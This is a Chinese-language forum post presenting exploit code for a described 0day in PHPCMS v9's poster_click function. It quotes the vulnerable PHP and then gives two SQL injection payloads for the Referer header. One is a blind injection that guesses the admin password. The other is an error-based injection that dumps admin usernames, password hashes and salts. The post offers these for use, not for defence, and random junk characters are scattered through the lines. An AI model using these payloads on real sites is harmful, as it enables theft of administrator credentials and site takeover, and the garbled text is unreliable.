phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
, n. A7 T& ]/ E3 ]: A$ U
! k; U% o% l! T+ Q问题函数\phpcms\modules\poster\index.php
" d( U8 q- P" _$ a0 D; v6 {' k
: P( Y5 }. {  O4 t# C7 Mpublic function poster_click() {
& Z% B* N$ H" j/ T8 A$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
7 |9 i" P% d0 _/ x4 V* q. U0 Yif (!is_array($r) && empty($r)) return false;
# o6 J5 P" A; G9 _3 M) f! B: X$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
, m1 n9 Z$ Q7 X+ w6 d+ o. p$username = param::get_cookie('username') ? param::get_cookie('username') : '';
: M% d. o4 A$ @0 a1 G* c) y( aif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
. A5 Z) r8 o* `. }+ |" D  v$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
# O; r9 u# N. e+ O$setting = string2array($r['setting']);
: }5 c( l8 M! ?9 a* B/ Zif (count($setting)==1) {
$url = $setting['1']['linkurl'];
$ T+ J+ L& C5 J2 B. r+ g1 m: x} else {
4 f3 W0 O, [: P) [$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
; `, i# C; F) H7 r2 j1 `) ^% G$ e) r}
header('Location: '.$url);
' W% [+ @0 e$ M$ p}
$ l: n( s, o9 W6 @; M: ?


利用方式：

7 P8 p( k" v) G' ^4 D% W1、可以采用盲注入的手法：
3 }7 D* Q$ `3 Z" Q+ |# K
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

% z3 ^) T. h4 A通过返回页面，正常与否一个个猜解密码字段。
% h, a1 `$ ?  E1 P( M
" V# @! ^# |, k3 w0 R2 J3 Q2、代码是花开写的，随手附上了：
( R7 o% y# Z" \+ u
4 R4 ?" H; K) K& e$ k8 W$ x) D1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

, f/ H1 p5 A" k. A: `1 o此方法是爆错注入手法，原理自查。
